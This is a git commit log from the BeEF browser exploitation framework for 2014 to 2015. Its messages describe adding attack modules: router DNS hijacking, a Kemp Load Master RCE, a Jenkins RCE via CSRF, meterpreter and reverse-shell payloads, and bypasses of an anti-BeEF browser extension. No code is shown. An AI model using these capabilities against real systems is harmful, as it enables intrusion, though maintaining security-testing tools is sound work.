1. Updated the "therubyracer for windows" link. The current one was 404. 

2. Added an instruction about changing the dependencies. Without changing the dependencies bundle install will attempt to install an incompatible version of therubyracer .
2015-07-18 15:58:47 -07:00
Brendan Coles
13428e6ff7 Host clippy images locally 2015-07-18 06:48:10 +00:00
Wade Alcorn
d3e1d5b506 Updated version to 0.4.6.1-alpha 2015-07-13 11:43:05 +10:00
Wade Alcorn
5d302cd74c Updated version to 0.4.6.1-alpha 2015-07-13 09:40:54 +10:00
Brendan Coles
aaefde9b43 Replace console.log with beef.debug 2015-07-12 22:51:06 +00:00
Brendan Coles
bcd2dd1b32 Remove duplicate gem 2015-07-11 15:30:43 +00:00
Brendan Coles
7f29e676b3 Use public URL 2015-07-10 22:36:14 +00:00
Brendan Coles
cbfe472eb7 Merge pull request #1125 from ReliaQuest-Labs/master
Fixed hta_powershell module so that it can establish a meterpreter session.
2015-07-11 08:09:12 +10:00
Brendan Coles
326e9536d6 Remove unused test cases 2015-07-08 08:33:00 +00:00
Brendan Coles
a1f0eb90c5 CamelCase for consistency 2015-07-08 08:28:29 +00:00
Christian Frichot
13593990e5 WebRTC extension FF fix
Thanks to updates in modern FFs handling of WebRTC
the webrtcadapter wrapper had to be updated.
To ensure this would be picked up, also added
WebRTC REST integration test cases.
The tests only run if the extension is enabled,
which is still OFF by default.

See Issue #1134 and #1083
2015-07-08 15:13:21 +08:00
Brendan Coles
526cd42170 Add software fingerprints 2015-07-07 15:09:10 +00:00
Brendan Coles
d737bb19c2 save results 2015-07-07 14:51:04 +00:00
Brendan Coles
83e8bf5186 Add Detect Airdrone module 2015-07-07 13:20:59 +00:00
byt3bl33d3r
13fb6d58b4 Added .ruby-gemset and .ruby-version for rvm 2015-07-06 00:16:27 +02:00
antisnatchor
61af18858e Removed Silverlight detection from default hook. Use DetectSilverlight module instead. This fixes a UI alert to the user if the plugin is outdated. 2015-07-05 16:12:15 +02:00
antisnatchor
ea9549adbe Fixed issue with latest Rack. Now using mime/types to return the right content-type based on file extension when using AssetHandler.bind. 2015-07-05 12:44:00 +02:00
Brendan Coles
c9fac43b2d Add 'msf.token_generate()' for Metasploit 'auth.token_generate' MSGRPC call
Augment 'msf.login()' to generate and use a permanent authentication token
with 'msf.token_generate()' to prevent authentication failures caused by
timeout of temporary tokens.

The default value for Msf::RPC::Service#token_timeout is 300 seconds.
All temporary tokens expire after [token_timeout] seconds of inactivity.
2015-07-02 13:07:47 +00:00
antisnatchor
f891d963d7 2nd Bypass for Vegan anti-BeEF Chrome extension (v. 1.2) 2015-07-01 12:30:47 +02:00
Brendan Coles
6f56f00a18 set --read-timeout=60 --tries=3 for wget 2015-06-29 20:08:04 +00:00
Brendan Coles
968ed12849 Fix wget verify_ssl 2015-06-29 19:58:01 +00:00
Brendan Coles
06bbfe9c3b Add BeEF::Filters.is_valid_port 2015-06-29 19:31:35 +00:00
antisnatchor
c387778959 Merge branch 'master' of https://github.com/beefproject/beef 2015-06-29 18:15:43 +02:00
antisnatchor
d9012d0f15 Check for ; and = characters when setting cookies 2015-06-29 12:00:03 +02:00
Brendan Coles
0d3c123e26 Use NetworkService.add and NetworkHost.add 2015-06-28 17:30:14 +00:00
Brendan Coles
d05397e0a9 Add NetworkService.add and NetworkHost.add 2015-06-28 17:22:16 +00:00
Brendan Coles
12d64d1165 Return unique results sorted by id 2015-06-28 08:56:13 +00:00
Brendan Coles
916828e131 Add 'verify_ssl' option to social engineering config 2015-06-28 08:53:23 +00:00
Brendan Coles
694ec61a02 Add TC_Modules test_safe_client_debug_log 2015-06-27 18:57:47 +00:00
Brendan Coles
8b4ad51899 Replace console.log with beef.debug 2015-06-27 18:56:06 +00:00
Brendan Coles
1f40987355 Use RSpec::Matchers in TC_Login 2015-06-27 18:10:56 +00:00
Brendan Coles
c9c9bfa6ee Decrease BeefTest.login sleep to 10 seconds 2015-06-27 17:51:54 +00:00
Brendan Coles
96dcba967b Update eventmachine from 1.0.3 to 1.0.7 in Gemfile.lock
Required by Ruby 2.2
2015-06-27 17:48:25 +00:00
Brendan Coles
7b234c9b98 Add rspec to Gemfile 2015-06-27 17:40:43 +00:00
antisnatchor
de13116182 fixed indentdation 2015-06-26 12:15:47 +02:00
antisnatchor
5de857f710 Merge branch 'master' of https://github.com/beefproject/beef 2015-06-26 12:08:53 +02:00
antisnatchor
4413cde187 Bypass for the 'Vegan' anti-BeEF Chrome extension. 2015-06-26 12:05:13 +02:00
Brendan Coles
a98ca1ff98 Add test_port_scanner_results test case 2015-06-25 12:54:52 +00:00
Brendan Coles
423b66f424 Close unused Capybara sessions 2015-06-24 22:16:35 +00:00
Brendan Coles
1aaf529fdd Add TC_NetworkRest test cases 2015-06-24 07:35:20 +00:00
Christian Frichot
f24dd22b05 SocEng RESTful API test case fix
The test_1_dns_spoof test will now work on OSX/nix by
using dig +short to get the A record instead of using
a large regex. In addition, the test will not iterate
over ALL local non-loopback IPs for a match.

See Issue #1083
2015-06-23 16:47:19 +08:00
Christian Frichot
ba990e2869 beef.net.request JS method now fires callbacks ALWAYS - not just on successful requests. Fixes Issue #1127 2015-06-23 16:21:58 +08:00
Brendan Coles
68c1f87c42 set VICTIM_DOMAIN to localhost for tests
The VICTIM_DOMAIN and ATTACK_DOMAIN must be different.

The VICTIM_DOMAIN was 127.0.0.2 however Mac OSX does
not support 127.0.0.x unless aliased. Using 'localhost'
resolves this issue.
2015-06-23 07:30:57 +00:00
Brendan Coles
a5c2ca8441 Merge branch 'master' of https://github.com/beefproject/beef 2015-06-23 07:29:13 +00:00
Christian Frichot
f51571d8b3 Updated base core filter to handle undefined/illegal/invalid UTF8 byte sequences. See Issue #1126 2015-06-23 09:13:30 +08:00
Brendan Coles
b7fd36aeaa Add signatures 2015-06-22 15:58:26 +00:00
Brendan Coles
83f88ad401 Replace 'rest_client' with 'rest-client' 2015-06-22 15:15:48 +00:00
Brendan Coles
e31f0b8c44 use localhost for integration tests 2015-06-22 15:11:21 +00:00
Brendan Coles
16622b13a5 Add clone_page REST example 2015-06-22 09:45:43 +00:00
Brendan Coles
e7bc352db2 halt 500 if page cloning is unsuccessful 2015-06-22 09:42:10 +00:00
Brendan Coles
e17a48fae2 rescue TypeError, ArgumentError 2015-06-22 09:35:31 +00:00
Brendan Coles
b646535be3 Add TC_DynamicReconstruction test cases 2015-06-22 09:33:06 +00:00
Brendan Coles
a35f42da5b Add TC_DynamicReconstruction.suite 2015-06-22 09:10:07 +00:00
Brendan Coles
e66183a3ba rescue Errno::ENOENT 2015-06-22 07:46:51 +00:00
Brendan Coles
3bec9b2702 Add support for Firefox 39 2015-06-22 06:14:33 +00:00
Brendan Coles
c729408d4b Capitalize login test case for consistency 2015-06-22 05:23:07 +00:00
Brendan Coles
f228f256de Remove unused test cases 2015-06-22 05:20:07 +00:00
Brendan Coles
3fa857525e Add '/api/seng/clone_page' example 2015-06-13 02:18:26 +00:00
Brendan Coles
11291e9577 Use public host and port for web cloner. Fix #1121 2015-06-13 02:15:38 +00:00
Wade Alcorn
23533746a4 Updated readme files to include bug reporting methods 2015-06-13 11:50:55 +10:00
Jonathan Echavarria
8f46ed8c26 Merge pull request #1 from ReliaQuest-Labs/hta_patch
Fixed hta_powershell module so that it can establish a meterpreter session.
2015-06-12 15:40:56 -04:00
Jonathan Echavarria
a826b89480 removed comments 2015-06-12 19:15:43 +00:00
Jonathan Echavarria
6bdf829126 updated hta_powershell to use updated powersploit so it can properly create sessions 2015-06-12 19:07:02 +00:00
antisnatchor
c75b7a633d Merge branch 'master' of https://github.com/beefproject/beef 2015-06-11 09:59:38 +02:00
antisnatchor
e5407af2a0 Added support for Chrome 43. Added window.fetch detection for better fingerprinting of C42/43. 2015-06-11 09:59:23 +02:00
Brendan Coles
83fa1efe0d Add '/api/server/bind' example 2015-06-09 19:17:19 +00:00
antisnatchor
03ecd61781 Limited /api/server/bind scope to the social_engineering/droppers directory (it could potentially be abused to mount arbitrary files post-auth) 2015-06-09 12:41:50 +02:00
antisnatchor
518fb5d874 Fixed bug in binding local files. 2015-06-09 12:20:20 +02:00
antisnatchor
f66a08f072 Fixed bug in serving static files from the demos directory. 2015-06-09 11:39:07 +02:00
auraltension
375e1a9adf Config file shoudl not be relevant to beef install dir 2015-06-06 16:41:09 +10:00
Brendan Coles
4746829153 Show UI URLs only when Admin UI is enabled 2015-05-17 22:10:09 +00:00
Brendan Coles
d0c48ce026 Add support for Chrome 42 2015-05-17 22:06:59 +00:00
Brendan Coles
e21c8286c5 Add support for Firefox 38 2015-05-17 21:56:16 +00:00
Brendan Coles
87476c5217 QR - Create images directory if does not exist 2015-05-15 03:07:14 +00:00
Brendan Coles
ad87ea7a56 replace backticks with IO.open 2015-05-14 07:43:53 +10:00
Brendan Coles
dad3be1b91 replace backticks with IO.open 2015-05-14 07:14:35 +10:00
Brendan Coles
0261c1d56f Merge pull request #1118 from bcoles/csrf_to_beef
Update csrf_to_beef tool
2015-05-13 03:09:07 +10:00
Brendan Coles
0cc9f53aae Use qr4r gem to generate QR codes 2015-05-12 17:07:58 +00:00
Brendan Coles
aee7aed755 Add Network extension test case stub 2015-05-11 21:52:13 +00:00
Brendan Coles
152ddc5118 csrf_to_beef tool now accepts --url URL as input 2015-05-11 17:58:44 +00:00
Brendan Coles
2220b95b49 Use NAT address - Fix #1116
Thanks @danilo-massa
2015-05-09 18:33:28 +00:00
radoen
4db4354c24 Fixed JSON parsing error to prevent DoS 2015-05-04 09:42:09 +02:00
Brendan Coles
0657a3f1f9 Add support for Firefox 37 2015-04-06 04:37:06 +00:00
Michele Orru
03f6b29506 Merge pull request #1104 from malerisch/master
Kemp Load Master RCE - BeEF module
2015-04-04 11:58:24 +02:00
timcess
63efe9f523 Update README.md 2015-04-03 01:47:12 +05:00
timcess
bdd1f7894a Add DNS Rebinding module and extension 2015-04-03 02:31:02 +06:00
timcess
2247bf6208 Add DNS Rebinding module and extension 2015-04-03 02:30:16 +06:00
timcess
eaa1400f75 Add DNS Rebinding module and extension 2015-04-03 01:04:35 +06:00
Roberto Suggi Liverani
4c7aa8f677 Kemp Load Master RCE - BeEF module
This is a new module for BeEF to exploit a RCE vulnerability in Kemp
Load Master load balancer. More information on this blog post:
http://blog.malerisch.net/2015/04/playing-with-kemp-load-master.html
2015-04-01 22:14:35 +02:00
Michele Orru
f973b8dc3e Merge pull request #1103 from tsu-iscd/master
Add first modules for BigIP systems
2015-04-01 10:35:11 +02:00
Denis Kolegov
bff02aaea5 Add first modules for ADC systems 2015-03-31 04:33:10 -04:00
bmantra
86f99d5a51 Merge pull request #1102 from bmantra/master
add iNotes modules for sending mails with attachments and a flooder
2015-03-28 20:48:17 +01:00
bmantra
46113db2b8 add iNotes modules for sending mails with attachments and a flooder 2015-03-28 20:47:21 +01:00
Brendan Coles
791c9d1461 Add support for Chrome 41 2015-03-27 02:12:11 +00:00
antisnatchor
32434075f8 Removed loading of deleted file.rb after Rack update. 2015-03-25 10:54:37 +01:00
antisnatchor
6fcca972c8 Removed patched Rack::File after upgrading to Rack 1.6.0. 2015-03-25 10:52:47 +01:00
antisnatchor
90bfca16c6 Removed fixed versions of eventmachine/sinatra/rack from Gemfile 2015-03-25 10:32:46 +01:00
antisnatchor
4126a5530e Fixed bug in forge_request that was not adding the POST body to forged requests. 2015-03-21 12:20:07 +01:00
antisnatchor
1e06bb6c17 Return 'n/a' rather than nil in restful API calls for PF integration 2015-02-27 11:50:38 +01:00
Brendan Coles
75312e4c99 Add support for Firefox 36 2015-02-24 20:06:05 +00:00
Brendan Coles
3b46bf1a94 Add Telstra ZTE MF91 Disable AP Isolation module 2015-02-22 07:51:42 +00:00
Brendan Coles
d863bb8f96 Add Telstra ZTE MF91 Change SSID module 2015-02-22 07:51:04 +00:00
Brendan Coles
c46cd03de8 Add Telstra ZTE MF91 Change Password module 2015-02-22 07:35:56 +00:00
Brendan Coles
abaa6a745d Add D-Link DSL-2640B DNS Hijack module 2015-02-21 10:11:20 +00:00
Brendan Coles
b0526362ad Add target network hosts and services to console 2015-02-21 08:37:00 +00:00
antisnatchor
9d7d0a1071 Merge branch 'master' of https://github.com/beefproject/beef 2015-02-17 12:19:39 +01:00
antisnatchor
ff9da502cb surrounding InitDeviceScan in try/catch in case something wrong happens. This prevents the hook to die 2015-02-17 12:19:09 +01:00
Brendan Coles
1c7663f96d Use arguments 2015-02-09 08:51:18 +00:00
Brendan Coles
54b58c2e72 Use data stream/channel (Required by Chrome) 2015-02-09 08:50:36 +00:00
antisnatchor
bf0f59e5d0 Fixed a bug in the tunneling proxy (missing \r\n in some specific conditions when HTTP version is HTTP/1.1) 2015-02-08 13:39:04 +01:00
Michele Orru
add6059a8c Merge pull request #1097 from bcoles/rest_api_examples
Add RESTful API example code
2015-02-08 12:05:50 +01:00
Brendan Coles
f26302c52b Add RESTful API example code 2015-02-08 04:15:19 +00:00
Brendan Coles
803e153f8c Prevent duplicates 2015-02-07 15:51:55 +00:00
Brendan Coles
0afac0171d Make ports configurable 2015-02-07 12:51:00 +00:00
Brendan Coles
f5d2c2028b Replace 'console.log' with 'beef.debug' 2015-02-07 05:35:09 +00:00
Brendan Coles
73e16e4aff Allow web server imitation to hook server web root and 404 responses 2015-02-07 05:18:06 +00:00
Brendan Coles
234a6e2016 Remove foxit detection from hook init 2015-02-07 04:38:12 +00:00
Brendan Coles
fbe56bf9f1 Add Shuttle Tech 915WM DNS Hijack module 2015-02-07 04:35:16 +00:00
antisnatchor
d569c63be3 Merge branch 'bcoles-network_extension' 2015-02-05 12:35:48 +01:00
antisnatchor
944ba747da Fixed a bug in WebRTC command module, prevented duplicates in NetworkHost db table, removed unnecessary code. 2015-02-05 12:35:23 +01:00
antisnatchor
5fc1294ca1 Merge branch 'network_extension' of https://github.com/bcoles/beef into bcoles-network_extension 2015-02-05 10:26:14 +01:00
Brendan Coles
c099be75ed Use filters 2015-02-04 08:36:44 +00:00
Brendan Coles
f329c7331a Report identified service to network extension 2015-02-03 19:07:26 +00:00
Brendan Coles
c69b6412e0 Add support for localhost at NetworkHost 2015-02-03 17:40:11 +00:00
Brendan Coles
c28d53aa41 Add signatures 2015-02-03 17:36:28 +00:00
antisnatchor
23cf229dad Merge branch 'network_extension' of https://github.com/bcoles/beef into bcoles-network_extension 2015-02-03 15:22:33 +01:00
Brendan Coles
6809ec9914 Fix typo 2015-02-02 01:37:37 +00:00
Brendan Coles
d39da9a67b Add support for Chrome 40 2015-02-02 00:53:40 +00:00
Brendan Coles
7e3ee5fc50 Record OS 2015-02-01 02:06:52 +00:00
Brendan Coles
4ff2a09552 Reload grid on render 2015-02-01 02:05:35 +00:00
Brendan Coles
e11ab70c61 Reload grid on render 2015-01-31 22:51:30 +00:00
Brendan Coles
4b8aa2d0a2 Add signatures 2015-01-31 21:48:53 +00:00
Brendan Coles
7fc65a70af Add port scanning to network extension 2015-01-31 21:43:01 +00:00
Brendan Coles
fef015709b Update context menu 2015-01-30 22:10:48 +00:00
Brendan Coles
0623b8f667 Add Fingerprint Routers module 2015-01-30 21:16:29 +00:00
Brendan Coles
1838b6c24a Add D-Link DSL-2740R DNS Hijack module 2015-01-30 06:58:15 +00:00
Brendan Coles
16ecb32e46 Report identified hosts to network extension 2015-01-30 06:57:01 +00:00
Brendan Coles
53a05d1901 Add extension description 2015-01-29 18:00:05 +00:00
Brendan Coles
24dab8b1c9 UI - return if user cancels prompt 2015-01-29 16:01:19 +00:00
Brendan Coles
5b33389746 Add Philips and TP-Link DNS hijack modules 2015-01-25 18:53:09 +00:00
Brendan Coles
d3165c2d97 Fix logo in IE 2015-01-25 18:45:35 +00:00
Brendan Coles
8664f694dc Update Belkin DNS module 2015-01-25 18:33:25 +00:00
Brendan Coles
5d9c62967d Add options to scan commonly used LAN IPs 2015-01-24 18:26:15 +00:00
Brendan Coles
d75adc0899 Add context menu for empty Hosts grid 2015-01-20 15:36:28 +00:00
Brendan Coles
b105288a9b Add Identify LAN Subnets module 2015-01-20 15:19:09 +00:00
Brendan Coles
1318ccf019 remove payload url 2015-01-20 12:18:50 +00:00
Brendan Coles
a168274e7e update supported browsers in module configs 2015-01-20 11:41:45 +00:00
Brendan Coles
df08d99cd5 Report identified hosts to network extension 2015-01-20 11:36:50 +00:00
Brendan Coles
1ab979553c Add Get HTTP Servers module 2015-01-20 11:36:49 +00:00
Brendan Coles
631bc1e9ef Add Network panel to admin UI 2015-01-20 11:36:49 +00:00
Brendan Coles
ceab91d53a Add Network extension 2015-01-20 11:36:37 +00:00
Brendan Coles
bf75e61382 Add Cross-Origin Scanner module 2015-01-09 21:05:59 +00:00
Brendan Coles
c0fe6dfcfa Add not_working to module 2015-01-09 21:04:40 +00:00
Brendan Coles
eb2a380c92 Replace console.log with beef.debug 2015-01-08 16:25:50 +00:00
Brendan Coles
9e28e9075d do not load webrtcadapter.js lib unless webrtc extension is enabled 2015-01-07 12:34:49 +00:00
Wade Alcorn
b3df91a8c5 Merge branch 'master' of github.com:beefproject/beef 2015-01-07 14:10:51 +10:00
Brendan Coles
615fd63825 Add RFI Scanner module 2015-01-06 10:42:04 +00:00
Brendan Coles
8a8ea35265 Module clean up 2015-01-06 10:27:10 +00:00
Brendan Coles
a9833fd538 Add Apache Felix Remote Shell module 2015-01-01 21:16:56 +00:00
Wade Alcorn
2fbca61368 Updated copyright dates 2014-12-30 07:44:58 +10:00
Wade Alcorn
67c06f17b7 Updated version number to 0.4.6.0 2014-12-30 07:30:58 +10:00
Brendan Coles
3944477b29 Add support for Chrome 39 2014-12-26 13:02:12 +00:00
Brendan Coles
617b46527d Add support for Firefox 35 2014-12-26 12:42:17 +00:00
Christian Frichot
74c8dc7bcd Add WebRTC Extension PoC. Disabled by default, for now. See Issue #1082 2014-12-23 15:38:02 +08:00
Brendan Coles
b0cfe3cfdb Merge pull request #1079 from thenaterhood/master
Fix sourcing rvm script as root on Ubuntu 14.04LTS
2014-12-22 00:47:56 +11:00
Michele Orru
d6cbc63da4 Merge pull request #1080 from ovbroslavsky/master
Search over modules
2014-12-18 15:17:31 +01:00
Oleg Broslavsky
a96867b6cd One more fix to module search 2014-12-18 17:52:07 +07:00
Oleg Broslavsky
9268ba9f5e Little code refactoring in module search files 2014-12-18 17:47:08 +07:00
Oleg Broslavsky
294a7cb5c6 Add module search JS to uglifier 2014-12-16 17:47:05 +07:00
Oleg Broslavsky
1c2559fe4a Search panel ui 2014-12-16 17:45:01 +07:00
Nikita Oleksov
b905455e8b Added searching 2014-12-15 23:52:09 +07:00
Nate Levesque
4193709845 Fix sourcing rvm script
Uses the system-wide rvm script if the local (user) one doesn't exist.
2014-12-13 15:46:40 -05:00
Michele Orru
80a9f8ed3b Merge pull request #1078 from kxynos/patch-1
Update command.js
2014-12-10 10:30:09 +01:00
antisnatchor
decdb6c39d Fixed bind_powershell to work in NAT-like envs where beef.http.public is used. 2014-12-10 10:21:46 +01:00
Kosta Xynos
352b7cd07f Update command.js
Uncommented working code, removed static test variable
2014-12-09 12:55:10 +00:00
Brendan Coles
979493c61f Add support for Firefox 34 2014-12-09 00:27:04 +00:00
Brendan Coles
63c2485e75 Add client debug info and decode html entities 2014-12-06 10:20:44 +00:00
Brendan Coles
614b065115 Merge pull request #1076 from acaulfield/patch-1
Added fingerprint for Jenkins
2014-12-04 17:10:24 +11:00
Brendan Coles
2ff49ecb79 chmod +x 2014-12-04 06:10:05 +00:00
Brendan Coles
46ac92f668 Merge pull request #1069 from tyll/certificate
Add new example certificate
2014-12-04 16:56:45 +11:00
Anthony Caulfield
a1e172ba0a Added fingerprint for Jenkins 2014-12-04 16:48:45 +11:00
Brendan Coles
ec1db7233d Use command_id for iframe name 2014-11-30 15:41:57 +00:00
Brendan Coles
faf1884a4c Load gmail images from HTTPS 2014-11-30 07:25:01 +00:00
Brendan Coles
38fa28658f Update LinkedIn logo 2014-11-30 07:08:54 +00:00
Brendan Coles
9e7f46cb8a Add Jenkins RCE CSRF 2014-11-30 05:36:47 +00:00
Brendan Coles
2785dccdf0 Remove author 2014-11-23 23:03:18 +00:00
Brendan Coles
a99b6173d9 Add author 2014-11-23 22:59:53 +00:00
Brendan Coles
1649b87567 Fix YAML for Ruby 1.9.2 2014-11-23 22:54:03 +00:00
bmantra
029ae3d66d Merge pull request #1073 from bmantra/master
module for IBM iNotes
2014-11-21 21:27:22 +01:00
bmantra
02a1b5b4a0 module for IBM iNotes 2014-11-21 21:25:31 +01:00
Brendan Coles
5fafe02781 Add gitignore.io to .gitignore 2014-11-18 08:14:21 +00:00
Till Maas
62d7a6c598 Add new example certificate
Update the expired certificate with a new one and add a certificate
generation script.
2014-11-12 22:13:24 +01:00
Michele Orru
caebadf158 Merge pull request #1066 from tsu-iscd/master
Added DNS and ETag covert channels
2014-11-08 13:38:02 +01:00
Michele Orru
99f873b19b Merge pull request #1067 from ovbroslavsky/master
OS detection: add support for Windows 8.1
2014-11-08 13:31:20 +01:00
Oleg Broslavsky
9d22c09f9d Add support for Windows 8.1 2014-11-08 19:06:20 +07:00
Denis Kolegov
75cf0a1cdf Update module.rb 2014-11-07 09:07:44 +06:00
Denis Kolegov
8cdb9f990a Update module.rb 2014-11-07 09:06:57 +06:00
Denis Kolegov
c573c5bd46 Update command.js 2014-11-07 09:04:43 +06:00
dnkolegov
debd3bc2c9 Added DNS and ETag covert channels 2014-11-06 03:28:48 -05:00
Brendan Coles
cc0993a2eb Add Shell Shock Scanner module 2014-10-30 00:09:18 +00:00
Brendan Coles
fb5712131e Re-indent 2014-10-29 21:00:10 +00:00
Brendan Coles
8e3c8e4b88 set reverse shell as default command 2014-10-29 18:07:40 +00:00
Brendan Coles
e8f5c0d265 Add HTTP method option 2014-10-29 17:54:10 +00:00
Brendan Coles
53dd7ee5fb rescue StandardError 2014-10-28 08:18:26 +00:00
Brendan Coles
6f1f8cf65c add menu separator and delete icon 2014-10-28 08:14:22 +00:00
bmantra
00b6b42951 Merge pull request #1064 from bmantra/master
delete old zombies via REST api and UI closes #762
2014-10-27 20:29:04 +01:00
bmantra
52f7a9cbca delete old zombies via REST api and UI #762 2014-10-27 20:27:39 +01:00
bmantra
30cfb7002d delete old zombies via REST api and UI #762 2014-10-27 20:17:17 +01:00
Brendan Coles
451ff7d002 Add support for Firefox 33 2014-10-19 05:25:24 +00:00
Brendan Coles
13bcc9bbee Add try/catch to getDefaultBrowser() 2014-10-18 12:54:01 +00:00
Brendan Coles
22a4fdb047 Prefer TLSv1 over SSLv3 2014-10-18 11:47:52 +00:00
Brendan Coles
ee2ebc26b3 Add metasploit extension REST API /msf 2014-10-13 17:34:49 +00:00
antisnatchor
7aec038505 I though PHP was so shit that param names were case-insensitive. I was wrong :-) 2014-10-13 14:37:55 +02:00
antisnatchor
1f6278ca91 Changed array index position for PhishingFrenzyUID entry in restful api call 2014-10-13 13:55:08 +02:00
antisnatchor
610985268c Added support for Chrome 38 2014-10-13 11:57:26 +02:00
antisnatchor
50a9784606 Added PhishingFrenzy integration config option and code 2014-10-13 11:51:25 +02:00
Brendan Coles
01758a12ef Support HTTPS 2014-10-11 16:47:25 +00:00
Brendan Coles
cb7a36e8dc Fix Phonegap_persistence config 2014-10-11 15:36:08 +00:00
Brendan Coles
04b3bee8cf Fix get_hb_details 2014-10-11 05:29:30 +00:00
Brendan Coles
d45c116414 Add support for Safari 8 2014-10-09 13:02:57 +00:00
Brendan Coles
37046464a3 Comment and re-indent 2014-10-09 12:43:40 +00:00
antisnatchor
46ca236c10 Added support for Safari 7. 2014-10-09 13:31:23 +02:00
antisnatchor
18efaf7f52 Adding separate restful api call for offline browsers only (phishing-frenzy integration) 2014-10-09 12:34:10 +02:00
antisnatchor
79947ab6eb Fixed typo coming from last pull request merge preventing hooking to work. 2014-10-09 11:04:55 +02:00
Michele Orru
9b92e0da35 Merge pull request #1059 from richo/ie-checks
Ie checks
2014-10-09 09:55:39 +02:00
Richo Healey
a134e535c2 Add browser.capabilities
This removes some janky IE sniffing, and instead provides the beginning
of a simple place to do capability based checks.
2014-10-08 22:04:22 -07:00
Richo Healey
1e88894c98 Whitespace 2014-10-08 21:54:58 -07:00
antisnatchor
4c945e018e Added geolocation info to PF restufl api call 2014-10-08 11:49:29 +02:00
antisnatchor
cfa8a4ae26 Merge branch 'master' of https://github.com/beefproject/beef 2014-10-07 15:22:14 +02:00
antisnatchor
209a488c77 Added restful api call for phishing-frenzy integration 2014-10-07 15:19:47 +02:00
Brendan Coles
3a9c027ef3 Add msf-exploits.cache to .gitignore 2014-10-06 19:51:59 +00:00
Brendan Coles
411399f4cf Network fingerprinting - throttle connections and clean-up
Part of #854

* Re-indent
* Add new signatures
* Comment-out uncommon signatures
* Add worker queues
* Throttle connections
* Remove scan iframes on timeout
2014-10-06 19:00:00 +00:00
Wade Alcorn
252f58e3b9 Merge pull request #1058 from radoen/master
shell shocked BeEF module
2014-09-29 12:39:30 +10:00
radoen
cd06076d92 fixed accept type 2014-09-28 13:44:05 +02:00
radoen
ff1199ab87 added module for shell shocked 2014-09-28 13:35:28 +02:00
Brendan Coles
9e43f0b68e Add support for Chrome 37 2014-09-28 04:52:32 +00:00
Brendan Coles
4fcc1dc562 Allow DNS lookups on zombie IP addresses 2014-09-28 04:25:20 +00:00
Brendan Coles
22dbc2efbe Merge pull request #1052 from tyll/support_CONNECT
Support HTTPS via CONNECT in proxy extension
2014-09-27 17:14:45 +10:00
Brendan Coles
76ce3babe2 Add demos handler.rb #1044 2014-09-27 05:29:28 +00:00
Brendan Coles
2683c3d587 Merge pull request #1044 from bcoles/demos_erubis
Add Erubis to Demos extension
2014-09-27 13:55:05 +10:00
Brendan Coles
0441868e59 Merge pull request #1054 from tyll/abspath
Support absolute paths for HTTPS key and cert
2014-09-27 11:10:28 +10:00
Till Maas
c35286da59 Support absolute paths for HTTPS key and cert 2014-09-26 11:13:41 +02:00
Brendan Coles
d4736e071f Merge pull request #1051 from tyll/https
Do not assume 80 to be the default port for HTTPS
2014-09-25 05:09:04 +10:00
Till Maas
7e18f6255e Support HTTPS via CONNECT in proxy extension 2014-09-24 16:53:56 +02:00
Till Maas
7c5011ac97 Do not assume 80 to be the default port for HTTPS
The default port for HTTPS is 443, therefore use it and not 80 if no
specific port is set.
2014-09-24 13:04:48 +02:00
Brendan Coles
8653356810 Merge pull request #1045 from evoltech/master
This is needed for BeEF to work on Ubuntu Trusty 64bit ruby-1.9.3-p448 (...
2014-09-15 19:50:50 +10:00
Mr. Evoltech
893afe0317 This is needed for BeEF to work on Ubuntu Trusty 64bit ruby-1.9.3-p448 (via rvm) 2014-09-14 16:30:32 -07:00
Brendan Coles
9266cc9e41 Fix Fake Flash module
* Fix bug where UI wasn't hidden onclick
* Gray out browser window on popup
* Re-indent
2014-09-14 16:34:09 +00:00
antisnatchor
85937f7f70 Added sample MS Word and MS Excel documents with macros, to be used with the powershell attack vector. 2014-09-08 15:25:53 +02:00
antisnatchor
ec203935de Simplified HTA-powershell attack module 2014-09-08 14:28:04 +02:00
antisnatchor
bc56be0a7f Added a generic handler for powershell-related attacks. 2014-09-08 14:07:09 +02:00
antisnatchor
c24a8c2ec5 Added @insertscript module to break-out from SiteKiosk 2014-09-07 23:18:41 +02:00
Brendan Coles
a18a74c82a Add support for Firefox 32 2014-09-06 14:09:50 +00:00
Brendan Coles
ee8176b2ba Add software enumeration 2014-09-06 13:25:23 +00:00
Brendan Coles
ccc8a5a02d Add Erubis to Demos extension
Change demo pages to load hook from beef.http.hook_url
instead of '/hook.js'

Fix #1024
2014-09-06 08:21:37 +00:00
Brendan Coles
a40e8ca8de Replace console.error with beef.debug 2014-08-31 02:01:55 +00:00
Brendan Coles
f6eb275f3f Add patch enumeration 2014-08-31 01:59:58 +00:00
Michele Orru
ad95ce8179 Merge pull request #1038 from sgorbaty/master
Phonegap module maintenance
2014-08-22 00:47:00 +02:00
Sergey Gorbaty
23eab81d2a Improved prompt module to include default text supported by Phonegap 2.8 2014-08-21 11:22:19 -07:00
Sergey Gorbaty
9942edc118 Fixing bug when email or phone number is empty 2014-08-21 11:20:48 -07:00
Sergey Gorbaty
8ccc8f8b2e New alert user module 2014-08-21 11:20:19 -07:00
Brendan Coles
1ac84fea9d Merge pull request #1037 from alessio-pascolini/master
Change path of mestaploit for Backbox
2014-08-17 09:18:24 +10:00
alessio-pascolini
d49588b74a Change path of mestaploit for Backbox 2014-08-16 15:28:47 +02:00
bmantra
450753a9bc Merge pull request #1035 from bmantra/master
wordpress malicious plugin => BeEF Bind PHP
2014-07-29 11:30:28 +02:00
bmantra
c8e5260820 wordpress malicious plugin => BeEF Bind PHP 2014-07-29 11:31:25 +02:00
bmantra
0da381c486 Merge pull request #1033 from bmantra/master
add sudo to copy of beefbind
2014-07-19 20:54:30 +02:00
bmantra
e7884381f4 add sudo to copy of beefbind 2014-07-19 20:50:41 +02:00
bmantra
06717b4077 Merge pull request #1032 from bmantra/master
add beef bind metasploit modules to live cd closes #934
2014-07-19 20:12:17 +02:00
bmantra
2d3ac97f5e add beef bind metasploit modules to live cd #934 2014-07-19 19:50:11 +02:00
BWZ
d7e062ea67 LiveCd - removed old script 2014-07-16 19:16:11 +10:00
BWZ
11d63bc6a8 LiveCD - script permission bug fix 2014-07-16 19:16:00 +10:00
antisnatchor
93b053b5a9 Changed default obfuscation techniques for the evasion extension. 2014-07-01 16:10:36 +02:00
antisnatchor
811b490615 Added a new string to be scrambled by default if evasion extension is enabled. 2014-07-01 16:05:48 +02:00
antisnatchor
b16d35232a Improved HTA_powershell module. Now using @mattifestation payload and supporting x86 and x86_64 targets. 2014-07-01 11:58:32 +02:00
antisnatchor
6b93b09c2f #970 Updated DNS tunnel debug module config.yaml description 2014-06-29 13:20:11 +02:00
antisnatchor
